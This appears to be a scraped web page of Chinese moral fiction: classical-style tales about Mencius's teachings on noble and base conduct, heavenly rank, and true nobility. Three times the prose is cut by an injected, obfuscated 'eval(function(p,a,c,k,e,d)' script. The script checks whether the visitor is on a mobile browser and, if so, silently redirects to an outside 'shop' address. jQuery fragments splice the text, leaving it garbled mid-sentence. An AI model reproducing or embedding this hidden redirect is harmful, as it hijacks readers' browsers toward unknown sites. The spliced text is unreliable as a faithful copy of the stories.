;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088191|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四、 大人鉴 胡员外将铜鉴悬于中堂，额曰“贵贱鉴”。每日对鉴自省：今日所养，贵耶？贱耶？大耶？小耶？ 又制小鉴百面，赠乡绅富户，皆镌“体有贵贱，养有大小”八字。江陵风气为之一变，富者竟以施舍为荣，以奢靡为耻。 有盐商李姓，效胡员外行善，然暗地仍抬价坑民。一日对鉴，忽见镜中己影模糊，现饿殍状，大惊失色，急访胡员外。胡员外曰：“君行善为名，是养小；坑民为实，是害大。心口不一，故鉴现恶形。”李姓汗流浃背，真改前非。 永昌十五年，胡员外无疾而终。临终召子孙曰：“吾生五十载，前四十年养指丧背，后十年养心赎罪。你等谨记：养身之道，先养其大。大者，仁也、义也、德也。但得大者存，小者自安。若徒养口腹、养肌肤、养虚荣，虽日费千金，终是‘饮食之人’，人贱之矣。” 出殡日，江陵百姓白衣相送，百里不绝。有老丐哭于道旁：“昔受公一粥，活我命；今闻公一教，活我心。” 忽见白衣人现于灵前，投白菊于棺，朗声诵： “人皆爱其身，尺寸皆养护。 贵贱若不辨，徒然费工苦。 养指竟失肩，狼疾何其愚！ 但得养心性，形骸自安舒。 寄语世间人，莫为贱场师。 梧檟在庭前，何故剪樲棘？” 诵罢，人化清风去。众仰观，唯见纸钱如雪，中有梧叶翩跹。 尾声贵贱碑 胡氏子孙葬员外于城西梧林，立碑曰“贵贱碑”，刻《孟子》全章。碑阴铭胡员外生平大略，末云： “公半生迷途，养小失大，几丧其身。幸得棒喝，幡然悔悟，刮骨疗毒，终成大人。今镌此文，非彰公德，乃警来者：体有贵贱，心贵形贱；事有大小，德大欲小。愿见碑者，每日对鉴，自问所养。” 碑成，乡人多拓文以归，悬于厅堂。有父母教子，辄指碑文：“儿欲养大乎？养小乎？”童子虽懵懂，亦知答：“养大！” 后三十年，江陵文盛德彰，科第连绵。有考官奇之，询其故，耆老对曰：“敝乡有贵贱碑，童子启蒙，先辨贵贱大小。故子弟皆知养德为本，科举乃余事耳。” 考官亲往谒碑，默立良久，叹曰：“但得此心，何患功名？”归而奏请褒奖，上赐“德化之乡”匾。 而“贵贱鉴”之风，渐传他郡。有富户悬鉴自警，有官员置鉴于衙，有塾师以鉴教童。一时“对鉴自省”成俗，市井小儿斗口，亦言“你养小，我养大”。 有游方僧过江陵，见小儿嬉戏，一童抢糖，一童让之。僧问让者：“何故让？”童答：“糖，小也；让，大也。我养大。”僧合十：“善哉，此乡大人多矣。” 是夜，僧宿梧林，梦白衣人踏月来，指贵贱碑笑曰：“但得此心代代传，何必西天见如来？” 僧醒，见碑上月华如水，梧叶沙沙。 似在说： 养啊，养啊。 莫把荆棘当梧桐。 莫为指头丢肩背。 本章诫世 一、 贵贱之辨 - 人皆知爱身，然多爱贱体，忘贵心；养小欲，失大德 - 破解法：遇事抉择，自问“所养贵贱大小” - 示例：胡员外养指丧背，养肤溃心，是贵贱不明 二、 狼疾之讽 - 养一指而失肩背，是“狼疾人”；养口腹而失心性，是“饮食之人” - 惕世：多少人在养“指头”（容貌、虚荣），却溃了“肩背”（健康、德行）？多少人如贱场师，养护樲棘，荒废梧檟？ - 反思：每日所费心血钱财，养贵者多，养贱者多？ 三、 大人之道 - 养其大者为大人，养其小者为小人 - 深层隐喻：人生成就，取决于养护重心 - 终极指向：明贵贱，辨大小，养心性，成大人 贵贱偈： 永昌七年江陵秋，胡翁养指如养眸。 背生碗痈浑不觉，白衣论道醒愚瞀。 贵贱大小须分明，心性形骸孰劣优？ 至今贵贱碑前月，犹照行人辨薰莸。 后世叹： 大齐江陵胡氏翁，养身无暇尺寸躬。 指肤细腻背生疽，心性蒙尘腹内痈。 幸有白衣施针砭，能教愚顽辨贱崇。 贵贱碑铭孟子语，长醒人间养大功。 正是： 养身贵贱要分明，指背浑忘是狼疾。 场师梧檟反不养，但把樲棘殷勤修。 大人养大弃小者，心性光华射斗牛。 寄语世间爱躯客，莫将贵贱等闲丢。 40. 大体谳 楔子双生店 大楚景和八年，江宁府有孪生兄弟开店，兄名大体，弟名小体。二人生得一般模样，同在长街开绸缎庄，门对门户对户，生意却有天壤。 大体店中，货真价实，童叟无欺。有小吏来索“常例”，大体正色道：“小本经营，但凭良心，不设常例。”生意清淡，然老主顾不绝。 小体店中，花样繁多。有掺丝混纺充全绸，有以次充好标高价。逢官必贿，遇富则谀，日进斗金。常笑兄愚：“这世道，良心值几钱？” 是年端午，有老妇来大体店，欲扯布制寿衣。大体见其贫，暗将足尺添作九寸，收半价。妇感泣而去。 小体在对面窥见，嗤之以鼻，转身对伙计道：“记下，下月那批潮州麻，可掺三成草絮。” 忽闻店外有人抚掌：“好个‘从其大体’、‘从其小体’！” 二兄弟齐望，见一白衣人倚门框，斗笠面纱，木剑负背，手中捻着一缕丝线。 一、 耳目蔽物 小体不悦：“阁下买布？不买勿扰。” 白衣人踱入店中，指架上绸缎：“此杭绸，标价几何？” “三两一尺。” “实价呢？” “这…这便是实价。” 白衣人取铜钱一枚，掷于布上。但见那“杭绸”遇铜，竟微微缩皱，显是掺了麻。小体色变，白衣人却笑： “耳目之官不思，而蔽于物。店家以此绸炫目，客以目观之，便以为真。此谓‘物交物，则引之而已矣’——绸引目，目引欲，便成交。然心若不思，安知其中诈？” 小体强辩：“市面皆然…” “然大体店中，为何不如此？”白衣人转身，隔街指大体，“同是绸，同是人，何以彼货真价实？” 小体语塞。白衣人出店，径入大体铺，问大体：“店家，何以不学令弟手段？” 大体揩汗道：“非不能，是不为。家严在世时常教：生意是小，做人是大。若为小利失大体，终是得不偿失。” “善哉！”白衣人拊掌，“此便是孟子所言‘从其大体为大人，从其小体为小人’！大体从心，以心思辨真伪；小体从目，为物欲所牵引。然则——” 他朗声问街坊：“诸位可知，何以兄弟二人，一从大体，一从小体？” 众皆茫然。白衣人自袖中取竹简，展之，诵孟子曰： “‘耳目之官不思，而蔽于物。物交物，则引之而已矣。心之官则思，思则得之，不思则不得也。’今小体店主，非天生好诈，是放纵耳目，为货利所蔽，心官不思，故从小体。大体店主，能用心思，辨得生意之本在诚，故从大体。” 小体在对面闻之，面红耳赤，欲辩无言。 二、 心官则思 白衣人邀二兄弟至中庭，设席对坐。问大体：“你平日如何思？” 大体沉吟：“每进一货，必思：此货可对得起主顾？每定一价，必思：此价可对得起良心？遇事不决，便思家严教诲。” “此思，便是心官之用。”白衣人颔首，转问小体：“你呢？” 小体讷讷：“我…我只思如何多赚…” “此亦思，然所思者小。”白衣人正色，“心官不思大体，便被小体所夺。譬如你看兄店冷清，便思‘他愚’；见自店红火，便思‘我智’。此思，是耳目之思，见表象而忘本真。若用心思，当思：为何老主顾皆往兄店？为何自家无百年客？” 小体怔然。白衣人又取那缕丝线，问众： “此线，眼看是丝，手摸是丝。然若用心思，当如何？” 有老者道：“当以火试。真丝燃如发臭，假丝刺鼻。” “然也！”白衣人道，“耳目只能见表象，心却能究其实。今世人多如小体店主，见利则趋，见亏则避，全凭耳目牵引，不思利从何来，亏往何去。此便是舍大体从小体，终成小人。” 他起身，木剑点地，划一圆： “心之官，天所赐。用则得大体，不用则溺小体。今我设一局，试你兄弟心官。” 自怀中取两锭银，各十两，分置二兄弟面前： “此银，可自用，可施人，可藏匿。一炷香为限，你二人各思其用，后当众言明。唯有一规：需说真心，莫违本心。” 香燃起。 三、 先立其大 大体对银沉思。小体眼珠频转。 香至半，大体忽道：“我已思得。此银当赠街口瞎眼婆婆。她子战死，孤苦无依，十两可活半年。” 小体急道：“我…我亦思得。此银当添作本钱，多进好货，让利主顾。” 众哗然。白衣人笑问小体：“此是真心思得？” 小体汗出：“是…” “非也。”白衣人摇头，“你见兄说要施贫，恐落人后，故仓促说‘让利’。然让利是虚，添本是实，仍是生意经。此思乃耳目之思，见兄行善，便思效颦，非出本心。” 又大体：“你思时，可曾想‘此银可周转铺子’？” 大体坦言：“想过。然转念思：铺子虽紧，尚可维持；婆婆无此银，或至饿死。两相权衡，救急为先。” “善！”白衣人拊掌，“这便是‘先立乎其大者，则其小者弗能夺也’！大体店主先立仁心为大，故利欲之小不能夺。小体店主先立利欲，故见人行善，方仓皇效之，是本末倒置。” 他取回小体面前银锭，却将大体之银推前： “此银仍赠婆婆。然我要问大体：若此银是你最后十两，铺子将倒，可还赠否？” 大体长考，终道：“仍赠。铺倒可再起，人死不可复生。且…且我相信，存此仁心，天不绝人。” 话音落，有老主顾起身：“陈掌柜（大体本姓陈），我明日便订百尺绸，先付定金！” 又有多人呼应。小体见状，羞惭无地。 白衣人叹道：“诸位见否？大体先立仁心，小体不能夺，反得人和。这便是孟子所言‘此为大人而已矣’。” 又对小体：“你非无仁心，是被利欲蔽心官。今愿立大体否？” 小体扑通跪地：“愿！求先生教我立大体！” 四、 立大日记 白衣人引小体至自店库房，指那批掺麻绸：“此货当如何？” 小体咬牙：“尽焚！” “焚乃小仁。”白衣人道，“当思：此货从何来？供货者知否？买者谁何？” 小体恍然，即命伙计：一、退掺假货于供货商，追还货款；二、已售者，按址寻客，退一赔一；三、张榜告罪，自罚三月利。 又至大体店，长揖谢罪：“弟从此学兄，立大体，从小人改作大人。” 大体扶起，兄弟相拥泣。 白衣人遂开“立大讲堂”于长街，不授经，但教“用心思”。每日晨，聚商户百姓，同思三问： 一、 今日所为，从大体否？ 二、 所见所闻，用心思否？ 三、 若遇两难，先立其大否？ 初时人稀，渐有小贩思“短斤少两不该”，有工匠思“偷工减料不当”，有书生思“抄袭剽窃不耻”。半月后，长街风气一变，吆喝实在，买卖公道。 有外郡客商奇之，问：“此街物价，何以比他处廉一二成？” 街坊笑答：“用心思，便知虚价无益。但守大体，利反长久。” 客商不信，暗访三日，果见童叟无欺，乃叹：“此地有大人之风！” 是时，有衙役来索“街铺捐”，张口五十两。往昔商户皆忍气，今则聚议。大体为首，对衙役正色： “捐应有度。今请出告示，明列款项，街坊自当乐捐。若空口索取，恐非大体。” 衙役怒，欲锁人。小体忽挺身出：“我兄弟愿代全街见官，与老爷论此大体！” 众商户皆呼应。衙役见人多理正，悻悻而去。后知府闻之，责衙役，明定捐额。长街欢声雷动。 白衣人暗观，颔首道：“此谓‘先立乎其大者，则其小者弗能夺’。今众人同心立大体，宵小岂能夺？” 遂于街心立“大体碑”，刻孟子语。碑阴有白衣人题： “耳目蔽于物，心官贵在思。 但得立大体，小人亦能移。 莫随流俗转，当从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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守碑叟笑：“此街便是活《孟子》。” 是夜，月明如昼。有白衣人影现碑前，抚石微笑，轻吟： “百年大体街， 依旧月明时。 但得心官在， 何处不孟轲？” 吟罢，化入月色。 唯碑上“心之官则思”五字，在月下熠熠生辉。 似在提醒每个过客： 你有心，会思么？ 思，便是大人。 不思，便是小人。 本章诫世 一、 大体小体之辨 - 从耳目之欲为小体，从心官之思为大体 - 破解法：遇事莫随耳目，当问本心 - 示例：大体货真价实，小体掺假欺客，同是营商，一念之别 二、 心官之贵 - 耳目不思，蔽于物；心能思，明于理 - 惕世：多少人沦为耳目奴隶，见利则趋，见欲则逐，全不思辨？ - 反思：可曾让心官放假，任耳目当家？ 三、 先立其大 - 先立仁心为大，则利欲不能夺 - 深层隐喻：人生锚定在“大体”，方不随波逐流 - 终极指向：人人皆可为大人，只需“先立乎其大” 大体偈： 景和八年江宁秋，兄弟营商各异谋。 大体从心思货实，小体逐利混丝麻。 白衣振聩明官窍，街众归心弃诈偷。 至今大体碑前月，犹照行人辨薰犹。 后世叹： 大楚江宁孪生店，同根异路令人嗟。 兄守诚实质且朴，弟行奸巧混丝麻。 白衣一席醒耳目，长街百日正风斜。 莫道世人心官废，但得思之即圣涯。 正是： 兄弟同根各经营，一从大体一从小。 耳目蔽物心官废，利欲熏天本心杳。 幸有白衣明孟子，能教愚顽醒昏晓。 但得常思常自省，贩夫亦是大人表。 41. 天爵谳 楔子双爵记 大赵天佑三年，清河县有书生姓莫名天赐，苦读二十年，屡试不第。某日闻市井传言：新帝重孝廉，凡孝行著闻者，可不经科场，直授“人爵”。 莫生心动，自忖：我本寒门，科举难登，何不修“天爵”以邀“人爵”？遂精心设计，欲行惊世之孝。 先是，暗雇老乞婆，认作失散生母，晨昏定省，寒冬解衣，盛夏扇席。又购得《二十四孝图》，悬于四壁，每有客至，必泣诉“子欲养而亲不待”之苦。更散家财一半，于路口设“施孝棚”，凡有孝行者，赏钱百文。 不三月，“莫大孝子”之名传遍清河。县令闻之，亲往探视，果见莫生侍奉“老母”无微不至，感动泣下，即修本上奏。 是年秋，圣旨下：擢莫天赐为“孝廉郎”，授从八品，入京候职。 莫生大喜，焚香告祖，即日欲行。忽有“老母”拦门泣曰：“儿既得官，当携老身同享富贵。”莫生暗忖：此妇市井村妪，入京必露馅。遂夜遣恶仆，赠银五十两，逐之远乡。 临行前夜，莫生正检点行装，忽闻窗外有人朗吟： “修得天爵为邀宠， 既得人爵弃如尘。 堪笑今之求爵者， 不知天爵是根本。” 莫生推窗，见一白衣人立月下，斗笠面纱，木剑负背，手执一卷《孟子》。 一、 天爵人爵辨 莫生不悦：“阁下何人？安敢夜闯私宅！” 白衣人飘然而入，自袖中取圣旨副本，展于案上：“孝廉郎，可喜可贺。然在下有一惑：阁下所修，真天爵乎？” 莫生色变：“我孝行著闻，全县皆知，何假之有？” “仁义忠信，乐善不倦，此天爵也。”白衣人指《孟子》章句，“阁下仁义否？雇母作戏，可谓仁？逐母弃养，可谓义？” 莫生汗出：“你…你怎知…” “忠信否？”白衣人续道，“欺君罔上，可谓忠？负约逐妪，可谓信？” 莫生强笑：“先生谬矣。圣上既授人爵，便是认可我孝行。天爵人爵，本是一体。” “大谬！”白衣人正色，“孟子曰：‘古之人修其天爵，而人爵从之。’是修天爵为本，人爵自来。今之人修其天爵，以要人爵，既得人爵，而弃其天爵，则惑之甚者也，终亦必亡而已矣。” 他步步进逼：“阁下修‘孝’为邀宠，是‘以要人爵’；既得官身，逐‘母’弃义，是‘弃其天爵’。此正孟子所讥‘惑之甚者’！恐终亦必亡而已。” 莫生跌坐椅中，犹辩：“我…我入京后，自当行善…” “皮之不存，毛将焉附？”白衣人冷笑，“天爵既弃，人爵岂久？譬如造屋，基已朽坏，梁栋虽华，终必倾颓。阁下欺君之罪，一旦事发，恐不止丢官。” 言罢，推窗指月：“阁下看，月有阴晴圆缺，然其明不改。天爵如月明，人爵如月相。今人但求月相圆满，不惜遮蔽月明，岂非颠倒？” 莫生冷汗涔涔，忽问：“先生…可有教我？” 二、 还爵记 白衣人自怀中取一锦囊：“内有三策，阁下自择。” 莫生急启，见素笺上书： “上策：自首欺君，辞官谢罪，奉假母如真母，真修天爵。” “中策：挂冠而去，隐姓埋名，赎前愆于余生。” “下策：携官入京，侥幸求全，然天网恢恢，终有败时。” 莫生阅毕，手颤不止：“我…我寒窗苦读二十年…” “寒窗苦读，是为修天爵，还是求人爵？”白衣人直视其目，“若为天爵，则读圣贤书，当行圣贤事，何需欺世盗名？若为人爵，则今已得之，何以惶恐至此？盖因阁下自知，所得人爵，如沙上塔，水中月，全无根基。” 忽闻叩门声急。仆来报：“老爷，那老婆子又回来了，在门外哭闹！” 莫生如坐针毡。白衣人叹道：“天爵人爵，此刻便见分晓。阁下若逐母保官，是人爵奴；若认母弃官，或可保天爵一线。” 话音未落，门外已传来老妪哀哭：“我儿！你既富贵，何弃老身！” 满街渐聚人声。莫生面如死灰，颓然道：“我…我选上策。” 白衣人颔首：“虽晚未迟。然需真做，非饰伪。” 次日，清河县衙前，莫生素衣散发，携“母”跪地，自陈罪状，缴还官诰。县令大惊，百姓哗然。莫生当众言： “天赐本寒生，慕人爵而伪修天爵，雇母作戏，欺君罔上。今蒙高人点醒，知天爵不修，人爵如浮云。愿辞官赎罪，真奉此母，以全人子之实。” 观者如堵。有讥者，有叹者，有疑者。白衣人现身人丛，扬声道： “诸位！莫生虽伪修天爵，今能悔悟，犹胜冥顽。孟子曰：‘西子蒙不洁，则人皆掩鼻而过之。虽蒙不洁，斋戒沐浴，则可以祀上帝。’今莫生愿斋戒沐浴其心，我等当许其自新否？” 众默然。忽有一老者出列：“老朽愿保莫生。人谁无过？过而能改，善莫大焉。” 众人视之，乃县学教谕张老夫子。有他带头，渐有多人附和。 县令沉吟良久，道：“辞官之事，本县需上奏。然你既愿真孝，可戴罪侍母。若三年不渝，或可宽宥。” 莫生叩首泣谢。白衣人扶起，道：“今始，可修真天爵矣。” 三、 真修路 莫生果奉假母归家，晨昏定省，一如往昔。然此番无沽名心，反觉坦然。老妪初疑，久之感其诚，泣道：“老身实非汝母，乃城南王婆，受雇作戏耳。” 莫生亦泣：“我知。然既认母子，便是缘分。您孤苦无依，我当奉养终身。” 王婆大恸，道出实情：本有一子，十年前从军战死。莫生即设其子灵位，以兄事之。邻里渐知真相，奇之。 白衣人时来暗访，见莫生真孝，乃现身指点：“天爵四德：仁义忠信。你今奉假母，是仁；不弃诺言，是义；不欺乡里，是忠信。然尚未全。” “请先生教。” “乐善不倦，方为圆满。”白衣人指门外，“你可见街头饥儿？可见孤老无依？天爵非独孝亲，乃泽及众人。” 莫生悟，将所余家财，设“义孝堂”：一养孤老，二教贫儿，三助残弱。自执教鞭，授蒙童《孝经》《孟子》。有童问：“先生，孝可求官否？” 莫生赧然：“我昔为求官而伪孝，几堕深渊。今方知，孝乃本心，非求官之阶。但修天爵，莫问人爵。” 白衣人在窗外闻之，颔首。 三年间，莫生敝衣粗食，尽心义孝堂。王婆病，亲侍汤药，夜不解带。婆临终执其手：“老身有福，得遇真孝子。愿儿永保此心。”含笑而逝。 莫生守孝三年，义孝堂渐扩，收养孤寡数十，教化童子百余。乡人感其诚，不复称“假孝子”，皆呼“莫善人”。 天佑六年，县令上奏陈情，言莫生“幡然悔悟，真修天爵，泽被乡里”。朝议哗然，有言“欺君当诛”，有言“改过宜旌”。 争执不下时，忽有白衣人夜叩宫门，献《孟子》“天爵”章句于御前。帝观之，默然良久，朱批： “天爵既修，人爵从之。可授清河县教谕，专司教化。” 旨下，莫生却辞：“臣昔以人爵为念，几丧天爵。今愿布衣终身，专修仁义，不敢复受人爵。” 县令劝，不听。白衣人现，问：“真不受？” 莫生拜：“天爵在心，何需人爵为饰？” 白衣人拊掌：“此方是真悟！” 四、 爵从记 莫生辞官事闻于朝，有御史嗤之“矫情”，微服至清河暗访。见义孝堂中，莫生正为孤老洗足，童子环诵《孟子》。有童问：“先生，天爵可得富贵否？” 莫生笑：“天爵乃心中富贵，何需外求？” “可得官否？” “天爵乃无冕之王，何需冠冕？” “可得名否？” “天爵乃不朽之名，何需人知？” 御史动容，现身长揖：“下官受教。”归朝力陈，帝叹：“此真修天爵者也。”遂赐“天爵先生”匾，悬于义孝堂。 白衣人贺莫生：“今人爵从天爵，非你求之，乃自来之。可悟孟子‘古之人修其天爵，而人爵从之’之意？” 莫生拜谢：“非先生棒喝，我今犹是‘惑之甚者’。” “然今有一试。”白衣人正色，“若帝召你入京，授以高官，你当如何？” 莫生肃然：“愿效陶渊明，归去来兮。天爵既在，人爵何加？” “善！”白衣人道，“今可为你正名。” 遂邀全县父老，于义孝堂前设坛。白衣人当众言： “诸君！莫生昔伪孝求爵，是‘今之人’；今真修天爵辞爵，是‘古之人’。诸君当学其今，莫效其昔。更当自问：我所修者，天爵耶？人爵耶？” 有富绅起问：“我修桥铺路，是为天爵否？” “若为求名，是人爵；若本心乐善，是天爵。” 有书生问：“我苦读求仕，是修人爵。然若为行道，可算天爵否？” “行道是本，仕途是末。但得本心在，人爵亦是道；若失本心，天爵亦是伪。” 众皆省悟。白衣人取剑，于堂前青石刻“天爵”二字，深可寸许。旁刻小注： “仁义忠信，乐善不倦，此天爵也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088193|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 公卿大夫，此人爵也。 修其天爵，人爵从之， 是谓古道。 今天爵为梯，人爵为的， 既得人爵，弃其天爵， 是谓大惑。 愿见此刻， 晨昏自问： 我今所修， 是古是今？” 刻毕，掷剑于地，入石三寸，矗立如碑。 是夜，白衣人踏月去，歌曰： “世人求爵如探囊， 谁识天爵是宝藏。 仁义忠信本自足， 何需冠冕夸门墙。 今人颠倒以梯求的， 既得的兮弃其梯。 终亦必亡堪太息， 何不返身问晨曦？” 歌声杳渺，莫生率众跪送。仰观“天爵”碑，月光满镌，如镀银华。 尾声天爵碑 莫生终老布衣，义孝堂绵延三代。每有童子入学，先拜“天爵碑”，诵《孟子》章句。有问“何不求功名”，长者辄指碑：“但修天爵，功名自来。若不自来，心中已足。” 后五十年，清河文风大盛，出进士十七，皆清正敢言。有言官弹劾权贵，遭贬黜，归乡谒碑，大笑：“吾今失人爵，得天爵矣！”遂开堂讲学，从者如云。 百年后，战火频仍，义孝堂毁，独“天爵碑”屹立不倒。有溃兵欲毁碑取石，见碑文“仁义忠信”，竟掷刀下拜，泣曰：“吾本良民，为乱世所迫…”遂散去。 又百年，新朝立，有刺史谒碑，欲移碑入城。是夜梦白衣人，责曰：“天爵在人心，岂在碑石？”刺史悟，乃于碑旁建“天爵书院”，聘大儒讲《孟子》，首课必讲“天爵人爵之辨”。 有蒙童问：“夫子，今人读书，多为功名，是修人爵。然功名若成，亦可为民，岂非两全？” 夫子指碑旁古槐：“见此槐乎？根深方得叶茂。若但求叶茂，不修根本，暂荣必枯。天爵乃根，人爵乃叶。但得根深，何患无叶？若但求叶，不修根，终成枯木。” 童恍然。自此书院学风，重德甚于重文，然科举中第者，反多他处。 暮年莫生曾作《天爵铭》，刻于碑阴，今犹可辨： “余少慕人爵，伪修天爵，几堕深渊。 幸蒙点化，知返本原。 天爵在己，不假外求。 仁义忠信，乐善不倦， 此四者修，俯仰无愧。 人爵之来，如影随形； 人爵不去，如叶离枝。 叶离枝枯，影逝形在。 愿后来者， 但修其形， 莫逐其影。” 今碑石皴裂，苍苔斑驳。然每至朔望，乡人仍聚碑前，有白发儒生为童子讲解。童声朗朗： “仁义忠信，乐善不倦，此天爵也…” 槐叶飒飒，如应和： 修啊，修啊。 莫为冠冕，失了根本。 莫为浮云，忘了苍穹。 本章诫世 一、 天爵人爵之辨 - 仁义忠信、乐善不倦为天爵，公卿大夫为人爵 - 破解法：自问所修，为心安，为身荣？ - 示例：莫生初伪孝求官，是以天爵为梯求人爵；后真孝辞官，方得真天爵 二、 古今修爵之别 - 古人修天爵，人爵从之；今人修天爵以要人爵，得人爵而弃天爵 - 惕世：多少人以善行为敲门砖？多少人身居高位而忘本？ - 反思：所求所行，是为本心，还是为外物？ 三、 本末终始之序 - 天爵为本，人爵为末；本立而末从，本弃而末亡 - 深层隐喻：一切成就，皆是德行副产品 - 终极指向：修好天爵，人爵不必求，或自来，或不来，皆坦然 天爵偈： 天佑三年清河秋，莫生伪孝求封侯。 既得人爵弃天爵，白衣棒喝醒愚瞀。 幡然悔悟修仁义，人爵自从天爵俦。 至今碑前槐叶响，犹说本末不可偷。 后世叹： 大赵书生莫天赐，伪修天爵求人爵。 幸遇高士明古道，能教今人醒愚惑。 天爵在己人爵从，本末倒置终自削。 寄语世间求禄客，莫将根本等闲斫。 正是： 天爵人爵本不同，今人颠倒任穷通。 伪修仁义为冠冕，既得冠冕弃前功。 何如但修天爵贵，俯仰无愧即封公。 寄语青云登陟客，莫将根本弃蒿蓬。 42. 良贵谳 楔子贵贱场 大周显德九年，云州有巨贾名钱百万，富甲一方，然常郁郁。何以故？盖其出身市井，虽腰缠万贯，士绅仍以“贱商”目之。 是年冬，钱百万设寿宴，遍邀名流。席间有致仕侍郎郑公，醉后戏言：“钱翁虽富，惜乎身无‘贵’气。”满座窃笑。钱百万羞愤，掷杯入内，三日不出。 其子钱丰献计：“父亲，今有‘捐官’例，何不谋一虚衔，光耀门楣？”钱百万恍然，遂携重金入京，贿通关节，果得“奉议大夫”虚职，从五品冠带。 衣锦还乡日，云州震动。昔日白眼者皆来奉承，称“老封翁”。钱百万顾盼自雄，斥资建“大夫第”，门悬御赐匾额。又设宴三日，席间执杯问郑公：“老夫今有贵气否？”郑公唯唯而已。 宴散，钱百万醉卧锦榻，抚冠带自得：“人生至此，方为贵也！” 忽闻窗外有人长吟： “赵孟之所贵， 赵孟能贱之。 身外求贵者， 终是可怜痴。” 钱百万惊起，见一白衣人倚窗望月，斗笠面纱，木剑负背，手中把玩着一枚铜钱。 一、 赵孟之贵 钱百万怒斥：“何人在此妄语！” 白衣人转身，将铜钱弹于案上，铿然有声：“钱翁所求之‘贵’，可比此钱？” 钱百万冷笑：“老夫乃朝廷命官，岂是铜臭可比？” “命官？”白衣人笑，“此‘奉议大夫’，可是三千两白银捐来？” 钱百万色变：“你…你怎知？” “我还知，赵孟能贵之，赵孟能贱之。”白衣人自袖中取出一卷《孟子》，展于烛下，“孟子曰：‘欲贵者，人之同心也。人人有贵于己者，弗思耳。人之所贵者，非良贵也。赵孟之所贵，赵孟能贱之。’” 他指着“赵孟”二字：“赵孟，晋国权臣，可予人贵，亦可夺人贵。今钱翁之‘贵’，不过权贵所赐，若彼不悦，一纸文书便可褫夺。此等贵，是真贵否？” 钱百万语塞，强辩：“然世人皆重此贵！” “世人重，便是真贵？”白衣人摇头，“昔有楚王好细腰，宫中多饿死。今有世人重冠带，天下竞捐官。此皆‘人之所贵’，非‘己之良贵’。” 他走至庭中，指那御赐匾额：“此匾可朽，此冠可失，此衔可夺。钱翁所谓贵，如沙上筑城，潮来即溃。而人人自有之贵，如璞玉在怀，不假外求，不惧人夺。钱翁弗思耳！” 钱百万茫然：“我…我有何贵？” “且看。”白衣人忽击掌三声。 二、 己之良贵 应声而入者三人。 一为跛足老丐，匍匐阶下：“钱老爷可识小人？” 钱百万细观，惊道：“你…你是阿牛？” “正是。”老丐泣道，“三十年前腊月，小人冻毙街头，是钱老爷您，那时还是布铺伙计，脱袄赠我，又赠粥饭。我活一命，今虽落魄，不敢忘恩。” 钱百万怔然。白衣人问：“你眼中，钱老爷贵否？” “贵！恩同再造！”老丐叩首。 白衣人颔首，又指第二人，乃一布衣书生。 书生揖道：“晚生李秀，十三年前赴考，盘缠被窃，困于云州。是钱翁赠银十两，不言姓名。晚生得中举人，今为县学教谕。寻恩多年，方知是翁。” 钱百万依稀记得。白衣人问：“你眼中，钱老爷贵否？” “施恩不图报，是真贵人！”书生长揖。 第三人乃一老妇，携幼童。妇跪泣：“妾身刘王氏，先夫早亡，去岁幼子重病，无钱医治。是钱老爷路过，赠银请医，救儿一命。今特来叩谢。” 童子稚声：“谢谢钱爷爷！” 白衣人转身，直视钱百万：“此三人眼中，钱翁贵否？” 钱百万泪下：“此…此乃陈某本分…” “这便是‘人人有贵于己者’！”白衣人朗声道，“你赠袄时，是布衣；赠银时，是商贾。彼时无冠带，无人称‘大夫’，然在受恩者眼中，你贵不可言。此贵，非赵孟所赐，是你仁义之心所生，是‘良贵’！” 他展开《孟子》续道：“‘既醉以酒，既饱以德。’仁义之德饱乎心，则不愿膏粱之味；‘令闻广誉施于身’，则不愿文绣之华。今钱翁有仁义之实，不享其实，反求虚衔之华，岂非舍本逐末？” 钱百万如遭雷击，颓然坐倒。 三、 贵之移 次日，钱百万召子钱丰，欲退捐官。钱丰急谏：“父亲！三千两已花，退之何益？且无此衔，郑公辈复以白眼相加矣！” 钱百万叹道：“我儿，你可知何为真贵？” “自然是权位尊荣！” “非也。”钱百万指庭中老槐，“此树贵否？” 钱丰不解。钱百万道：“此树不羡松柏之高，不慕桃李之艳，但守根本，四时成荫。鸟可栖，童可嬉，人皆爱之。此是树之‘良贵’。我昔年行善，如树生荫，是得‘己贵’。今求虚衔，如树缠金箔，虽炫目，实伤本。” 钱丰不服。忽有仆来报：“郑侍郎来访。” 郑公入，面色凝重，屏退左右，低声道：“钱翁，大事不好！京中来信，言捐官事泄，御史欲劾。不日或有查抄…” 钱百万手一颤，冠带落地。钱丰面如死灰。 郑公叹道：“昔我戏言，致翁行此下策。今祸将及，不如速散家财，或可保全。”言罢匆匆而去。 钱丰哭道：“父亲，如何是好？” 钱百万呆坐良久，忽大笑：“赵孟能贵之，赵孟能贱之！今果验矣！” 正慌乱间，白衣人飘然而入，拾起冠带：“钱翁，此物还要否？” 钱百万拜倒：“求先生救我！” “救你不难，但你需明一理。”白衣人扶起他，“你所惧，是失此‘人之贵’。然你若守‘己之良贵’，何惧之有？” “请先生明示！” 